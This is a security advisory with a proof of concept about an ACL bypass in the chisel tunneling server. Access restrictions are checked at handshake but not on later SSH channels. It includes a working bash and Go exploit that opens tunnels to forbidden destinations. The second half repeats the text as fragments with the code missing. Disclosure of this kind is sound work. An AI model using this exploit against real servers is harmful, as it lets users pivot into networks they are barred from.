Summary
Authenticated chisel clients can bypass --authfile ACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL is enforced only during the initial handshake against declared remotes, but never on subsequent SSH channels that carry actual traffic. A malicious client authenticates with a permitted remote, then opens channels to any host:port it wants.
Details
The chisel server validates user ACLs in two places but is missing validation in one of the important places.
The server/server_handler.go checks the ACL, during the initial config handshake:
for _, r := range c.Remotes {
if user != nil {
addr := r.UserAddr()
if !user.HasAccess(addr) {
failed(s.Errorf("access to '%s' denied", addr))
return
}
}
}
r.Reply(true, nil)This validates the declared remote list from the client's config request. It runs once, at connection setup. But in share/tunnel/tunnel_out_ssh.go ACL aren't being checked, when the server processes actual traffic channels:
func (t *Tunnel) handleSSHChannel(ch ssh.NewChannel) {
remote := string(ch.ExtraData()) // client-controlled
hostPort, proto := settings.L4Proto(remote)
sshChan, reqs, err := ch.Accept() // accepted unconditionally
// ...
err = t.handleTCP(l, stream, hostPort) // dials whatever client said
}
func (t *Tunnel) handleTCP(l *cio.Logger, src io.ReadWriteCloser, hostPort string) error {
dst, err := net.Dial("tcp", hostPort) // no ACL check
// ...
}The tunnel.Config struct has no User field, no allowed-address list, and no ACL callback. The user context from server_handler.go is never propagated to the tunnel layer:
type Config struct {
*cio.Logger
Inbound bool
Outbound bool
Socks bool
KeepAlive time.Duration
// ------- No User, no AllowedRemotes, no ACL
}Since ch.ExtraData() is fully controlled by the SSH client, any authenticated user can open channels to arbitrary destinations after passing the handshake with a permitted remote.
PoC
Directory structure format:
poc
├── poc.sh
└── probe
├── go.mod
├── go.sum
└── main.go
#!/usr/bin/env bash
# Requires: Go, nc (netcat)
set -euo pipefail
DIR="$(cd "$(dirname "$0")" && pwd)"
REPO="$DIR/.."
freeport() { python3 -c "import socket;s=socket.socket();s.bind(('',0));print(s.getsockname()[1]);s.close()"; }
cleanup() { kill $SERVER $LISTENER 2>/dev/null; rm -f "$AUTH"; }
trap cleanup EXIT
# Build
echo "[*] Building..."
(cd "$REPO" && go build -o /tmp/_chisel .)
(cd "$DIR/probe" && go build -o /tmp/_probe .)
# Ports
SP=$(freeport); AP=$(freeport); BP=$(freeport)
echo "[*] Server :$SP Allowed :$AP Blocked :$BP"
# Authfile — user:pass may only reach 127.0.0.1:$AP
AUTH=$(mktemp)
printf '{"user:pass":["^127\\\\.0\\\\.0\\\\.1:%s$"]}\n' "$AP" > "$AUTH"
# Start forbidden-target listener and chisel server
(echo "FORBIDDEN_TARGET_REACHED" | nc -l 127.0.0.1 "$BP") & LISTENER=$!
/tmp/_chisel server --port "$SP" --authfile "$AUTH" --key seed 2>/dev/null & SERVER=$!
sleep 1
# Exploit
CHISEL_SERVER="127.0.0.1:$SP" ALLOWED_PORT="$AP" BLOCKED_PORT="$BP" /tmp/_probe// Chisel ACL bypass probe. Authenticates with an allowed remote,
// then opens an SSH channel to a forbidden destination via ExtraData.
package main
import (
"encoding/json"
"fmt"
"net"
"net/http"
"os"
"time"
"github.com/gorilla/websocket"
"github.com/jpillora/chisel/share/cnet"
"github.com/jpillora/chisel/share/settings"
"golang.org/x/crypto/ssh"
)
func main() {
server := os.Getenv("CHISEL_SERVER")
allowed := os.Getenv("ALLOWED_PORT")
blocked := os.Getenv("BLOCKED_PORT")
// WebSocket → net.Conn
ws, _, err := (&websocket.Dialer{
HandshakeTimeout: 5 * time.Second,
Subprotocols: []string{"chisel-v3"},
}).Dial("ws://"+server, http.Header{})
check(err, "ws dial")
conn := cnet.NewWebSocketConn(ws)
// SSH handshake
sc, chans, reqs, err := ssh.NewClientConn(conn, "", &ssh.ClientConfig{
User: "user",
Auth: []ssh.AuthMethod{ssh.Password("pass")},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
})
check(err, "ssh")
go ssh.DiscardRequests(reqs)
go func() { for c := range chans { c.Reject(ssh.Prohibited, "") } }()
// Send config with only the allowed remote
r, _ := settings.DecodeRemote(fmt.Sprintf("0.0.0.0:%s:127.0.0.1:%s", allowed, allowed))
cfg, _ := json.Marshal(settings.Config{Version: "0", Remotes: []*settings.Remote{r}})
ok, reply, err := sc.SendRequest("config", true, cfg)
check(err, "config")
if !ok {
die("config rejected: %s", reply)
}
fmt.Printf("[+] Config accepted (only 127.0.0.1:%s allowed)\n", allowed)
// Open channel to BLOCKED destination
target := net.JoinHostPort("127.0.0.1", blocked)
ch, cr, err := sc.OpenChannel("chisel", []byte(target))
if err != nil {
fmt.Printf("[-] REJECTED — server refused %s\n", target)
os.Exit(1)
}
go ssh.DiscardRequests(cr)
fmt.Printf("[!] ACCEPTED — channel opened to %s\n", target)
// Read response from forbidden target
buf := make([]byte, 256)
done := make(chan int, 1)
go func() { n, _ := ch.Read(buf); done <- n }()
select {
case n := <-done:
if n > 0 {
fmt.Printf("[!] Data: %s\n", buf[:n])
}
case <-time.After(3 * time.Second):
}
fmt.Println("CONFIRMED — ACL bypass: server dialed unauthorized destination")
ch.Close()
sc.Close()
}
func check(err error, ctx string) {
if err != nil {
die("%s: %v", ctx, err)
}
}
func die(f string, a ...interface{}) {
fmt.Fprintf(os.Stderr, f+"\n", a...)
os.Exit(1)
}Impact
- Complete ACL bypass: The
--authfile address restrictions are enforceable only on paper
- Authenticated users can reach any host/port the server process can dial
References
mzfr Reporter
Summary
Authenticated chisel clients can bypass
--authfileACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL is enforced only during the initial handshake against declared remotes, but never on subsequent SSH channels that carry actual traffic. A malicious client authenticates with a permitted remote, then opens channels to anyhost:portit wants.Details
The chisel server validates user ACLs in two places but is missing validation in one of the important places.
The
server/server_handler.gochecks the ACL, during the initial config handshake:This validates the declared remote list from the client's config request. It runs once, at connection setup. But in
share/tunnel/tunnel_out_ssh.goACL aren't being checked, when the server processes actual traffic channels:The
tunnel.Configstruct has no User field, no allowed-address list, and no ACL callback. The user context fromserver_handler.gois never propagated to the tunnel layer:Since
ch.ExtraData()is fully controlled by the SSH client, any authenticated user can open channels to arbitrary destinations after passing the handshake with a permitted remote.PoC
Directory structure format:
poc.shmain.goImpact
--authfileaddress restrictions are enforceable only on paperReferences